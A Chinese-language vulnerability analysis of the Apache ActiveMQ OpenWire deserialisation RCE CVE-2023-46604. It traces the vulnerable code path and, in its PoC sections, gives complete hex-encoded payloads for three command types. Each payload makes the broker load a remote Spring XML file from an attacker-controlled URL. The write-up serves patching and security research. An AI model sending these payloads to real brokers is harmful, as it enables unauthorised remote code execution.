从0到1分析 CVE-2023-46604
从0到1分析 CVE-2023-46604
漏洞介绍
漏洞描述
CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行(RCE)漏洞。该漏洞允许远程攻击者通过向Apache ActiveMQ的61616端口发送特制的恶意数据,导致在目标系统上执行任意代码。
漏洞影响范围
5.18.0至5.18.2
5.17.0至5.17.5
5.16.0至5.16.6
5.15.16 之前的版本
解决建议
升级至安全版本。
资产测绘
前置知识
ActiveMQ
ActiveMQ是由Apache出品的,一款最流行的,能力强劲的开源消息总线。ActiveMQ是一个完全支持JMS1.1和J2EE 1.4规范的 JMS Provider实现,它非常快速,支持多种语言的客户端和协议,而且可以非常容易的嵌入到企业的应用环境中,并有许多高级功能。
OpenWire协议
OpenWire 协议是ActiveMQ默认的通信协议,该协议基于TCP协议实现。
OpenWire 将对象编码为字节数组,并将被编码的对象称之为命令。编码命令中使用的所有数据均以大端/网络字节顺序进行编码。
一个基本的命令编码方式如下:
1 | [=If SizePrefixDisabled =] |
- size => 当前命令中剩余部分字节数;
- type => 命令类型标识符,CVE-2023-46604 的三种RCE方式分别涉及命令
16|CONNECTION_ERROR、22|MESSAGE_ACK、31:EXCEPTION_RESPONSE; - command-specific-fields => 具体命令的数据,可以根据不同类的反序列化函数查看。
另外,对OpenWire基本数据类型进行一个说明,以便后续确认size的取值以及POC的构建。
1 | | | | | | | |
所有的OpenWire命令对其字段进行编码时都使用相同的算法,同时限制了命令只能包含以下命令类型:
- Java primitive types
- String
- Byte Arrays
- N Sized Byte Arrays
- Throwable
- Nested OpenWire commands
- Nested OpenWire command arrays
- Cached Nested OpenWire commands
其中String类型编码方式如下:
1 | [=If not-null is 1===========] |
- not-null => 标记后续是否为空,如果为空则字段值为0,否则为1;
- size => UTF-8 编码字符串的字节数;
- encoded-string => 字符串的 UTF-8 编码形式。
另外,OpenWire编码方式分为Loose Encoding|松散编码和Tight Encoding|紧凑编码编码两种,松散编码是OpenWire首次初始化时使用的默认编码。
ClassPathXmlApplicationContext
org.springframework.context.support.ClassPathXmlApplicationContext类是Spring框架的一个重要类。可以从指定路径下加载XML文件来创建和配置Spring应用上下文。
其构造方法ClassPathXmlApplicationContext(String configLocation)接收一个XML配置文件的路径作为参数。
1 |
|
利用上述XML文件和ClassPathXmlApplicationContext类可以实现远程命令执行,在目标机器创建指定文件。
核心原因
payload构建
根据修复记录可以将问题定位到org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable。
可以明显看出,修复前版本createThrowable方法通过反射构造调用了一个接收String类型的方法类。更新则添加了一个validateIsThrowable方法限制被调用的类只能是Throwable类或其子类。
1 | package org.apache.activemq.openwire; |
利用createTable进行远程代码执行,需要控制className和message参数。另外需要寻找到一个类满足构造方法参数为String类型。前文提到的ClassPathXmlApplicationContext完美符合条件,利用ClassPathXmlApplicationContext加载远程XML文件实现远程代码执行。
继续寻找可以发现tightUnmarsalThrowable和looseUnmarsalThrowable方法调用了createThrowable。从命名不难看出这两个方法分别是以紧凑编码(tight)/松散编码(loose)反序列化Throwable类或其子类对象。
1 | protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs) |
1 | protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn) |
两个反序列化方法均通过datein参数获取clazz和mssage参数,需要注意这里在读取clazz前,首先读取了一个Boolean类型数据作为判断是否进行反序列化的判断条件。结合前文提到OpenWire中String类型编码方式以及前文利用方式,可以构建如下payload。
| 字段 | 值 | 值_编码 | 其它 |
|---|---|---|---|
| not_null | 非空 | 01 | |
| className_not_null | 非空 | 01 | |
| className_size | 66 | 0042 | |
| className_encoded_string | org.springframework.context.support.ClassPathXmlApplicationContext | 6f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874 | |
| message_not_null | 非空 | 01 | |
| message_size | 29 | 001d | |
| message_encoded_string | http://127.0.0.1:8888/poc.xml | 687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c |
1 | 010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c |
利用路径
OpenWire默认使用的松散编码,故后续对looseUnmarsalThrowable进行追踪分析。
发现ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller等三个类调用了looseUnmarsalThrowable方法。
进行查看可以发现均是这些类的looseUnmarshal方法调用了looseUnmarsalThrowable方法。
以org.apache.activemq.openwire.v12.ExceptionResponseMarshaller#looseUnmarshal为例,进行查找。
1 | public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException { |
发现org.apcahe.activemq.openwire.OpenWireFormat#doUnmarshal调用了looseUnmarshal方法。
1 | public Object doUnmarshal(DataInput dis) throws IOException { |
doUnmarshal接收字节流dis,将命令进行反序列化,进行解析。
首先读取了一个dataType然后将其与0xFF进行按位与计算,提取对应的序列化器,再根据tightEncodingEnabled变量判断使用松散编码/紧凑编码的反序列化方法对数据进行后续处理。结合OpenWire协议,不难得知dataType参数就是命令中的type参数,用于标识命令。
再向上进行查找,可以发现org.apcahe.activemq.openwire.OpenWireFormat#unmarshal调用了doUnmarshal方法,有意思的是unmarshal方法存在多态,对分析可能造成一定的困扰。
1 | public synchronized Object unmarshal(ByteSequence sequence) throws IOException { |
1 |
|
这两个方法都先从字节流中读取了size变量,再对size的长度进行确认,最后调用doUnmarshal方法,所以具体调用了哪个unmarshal对我们的分析不存在任何影响。
结合OpenWire协议内容,可以确认这里读取的是命令的size字段。至此,已经可以构建一个较为完整的命令作为poc了。
| 字段 | 值 | 值_编码 | 其它 |
|---|---|---|---|
| size | n,需要完整的命令长度才能确认 | 0000000x | |
| type | 命令ID,其实就是每个类的DATA_STRUCTURE_TYPE,例31 | 1f | |
| other | 可能存在的其它数据部分 | xx…xx | |
| payload | 参见前文 | 0100…… |
1 | 0000000x1fxx...xx010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c |
POC构造
POC的大体部分已经确认了,限制最后POC构造的难题主要是确认可能存在的其它数据部分,下面我们结合实际代码对三个RCE路径分别构造POC。
ExceptionResponseMarshaller
命令EXCEPTION_RESPONSE,对应ID为31。以下以传入命令ID为31时进行分析。
OpenWireFormat#doUnmarshal方法调用ExceptionResponseMarshaller#looseUnmarshal方法。
1 | public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException { |
这里首先将调用了父类的looseUnmarshal方法处理数据,然后调用了looseUnmarsalThrowable触发payload。不涉及其它数据处理部分。
ExceptionResponseMarshaller继承自ResponseMarshaller类,查看其looseUnmarshal方法。
1 | public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException { |
这里同样首先调用了其父类的looseUnmarshal方法,值得注意的是,这里读取了一个Int类型数据,将其赋值给CorrelationId变量。
ResponseMarshaller继承自BaseCommandMarshaller类,查看其looseUnmarshal方法。
1 | public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException { |
同样首先调用了父类的looseUnmarshal方法,然后再读取了一个Int类型数据赋值给CommandId,读取一个Boolean类型数据赋值给ResponseRequired。
BaseCommandMarshaller继承自BaseDataStreamMarshaller类,查看其looseUnmarshal方法。
1 | public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException { |
BaseDataStreamMarshaller#looseUnmarshal方法不涉及任何操作,故经此可以构造如下完整POC。
| 字段 | 值 | 值_编码 | 其它 |
|---|---|---|---|
| size | 110 | 00000070 | |
| type | 31 | 1f | |
| CommandId | 任意整数,例1 | 00000001 | |
| ResponseRequired | 任意布尔值,例true | 01 | |
| CorrelationId | 任意整数,例1 | 00000001 | |
| payload | 参见前文 | 010100…… |
1 | 000000701f000000010100000001010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c |
ConnectionErrorMarshaller
命令CONNECTION_ERROR,对应ID为16。以下以传入命令ID为16时进行分析。
OpenWireFormat#doUnmarshal方法调用ConnectionErrorMarshaller#looseUnmarshal方法。
1 | public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException { |
首先调用其父类的looseUnmarshal方法,然后再调用looseUnmarsalThrowable方法,没有涉及对其它数据的操作。
ConnectionErrorMarshaller继承自BaseCommandMarshaller类,BaseCommandMarshaller#looseUnmarshal方法在前文已经分析过了,故不再进行说明,可以构造如下poc。
| 字段 | 值 | 值_编码 | 其它 |
|---|---|---|---|
| size | 108 | 0000006c | |
| type | 16 | 10 | |
| CommandId | 任意整数,例1 | 00000001 | |
| ResponseRequired | 任意布尔值,例true | 01 | |
| payload | 参见前文 | 010100…… |
1 | 0000006c100000000101010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c |
MessageAckMarshaller
命令MESSAGE_ACK,对应ID为22。以下以传入命令ID为22时进行分析。
OpenWireFormat#doUnmarshal方法调用MessageAckMarshaller#looseUnmarshal方法。
1 | public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException { |
同样是先调用其父类的looseUnmarshal方法,然后调用looseUnmarsalCachedObject方法三次,再读取了一个Byte类型数据赋值给AckType,又调用looseUnmarsalNestedObject方法两次,再读取一个Int类型变量赋值给MessageCount。
1 | protected DataStructure looseUnmarsalCachedObject(OpenWireFormat wireFormat, DataInput dataIn) |
looseUnmarsalCachedObject方法在BaseDataStreamMarshaller类中被定义,其先判断wireFormat对象isCacheEnabled方法的返回值。OpenWireFormat#isCacheEnabled实际是查看当前对象成员cacheEnabled的值,该值标记是否缓存重复数据,以减少编组,默认为False。
1 | public boolean isCacheEnabled() { return cacheEnabled; } |
故looseUnmarsalCachedObject方法会调用OpenWireFormat#looseUnmarshalNestedObject。
BaseDataStreamMarshaller#looseUnmarsalNestedObject方法同样调用OpenWireFormat#looseUnmarshalNestedObject方法。
1 | protected DataStructure looseUnmarsalNestedObject(OpenWireFormat wireFormat, DataInput dataIn) |
1 | public DataStructure looseUnmarshalNestedObject(DataInput dis) throws IOException { |
OpenWireFormat#looseUnmarshalNestedObject方法首先读取一个Boolean变量,然后判断是否进行反序列化下一个命令,这里我们控制读取False。
ResponseMarshaller继承自BaseCommandMarshaller类,BaseCommandMarshaller#looseUnmarshal方法在前文已经查看过了,故不再进行分析,故可以构造如下poc。
| 字段 | 值 | 值_编码 | 其它 |
|---|---|---|---|
| size | 118 | 00000076 | |
| type | 22 | 16 | |
| CommandId | 任意整数,例1 | 00000001 | |
| ResponseRequired | 任意布尔值,例true | 01 | |
| _ | False | 00 | |
| _ | False | 00 | |
| _ | False | 00 | |
| AckType | 任意整数,例1 | 01 | |
| _ | False | 00 | |
| _ | False | 00 | |
| MessageCount | 任意整数,例1 | 00000001 | |
| payload | 参见前文 | 010100…… |
1 | 0000007616000000010100000001000000000001010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c |
POC脚本
1 | import binascii |
总结
- 该漏洞无需授权,后续漏洞挖掘可以更关注非HTTP协议的资产;
- 关于
command-specific-fields缺少相关文档进行说明,如果对Java框架不够熟悉,可以直接通过查看相关代码构造payload,不使用TcpTransport#oneway方法等; - 本次漏洞修复主要增加了一个检测传入的类是否为
Throwable类或其子类,后续如果ActiveMQ依赖的库中出现了使用String参数既可实例化的Throwable子类,可实现绕过该补丁。
参考材料
注:本次分析采用activemq 5.17.3版本。
https://activemq.apache.org/components/classic/documentation/configuring-wire-formats
https://activemq.apache.org/components/classic/documentation/openwire-version-2-specification
https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604







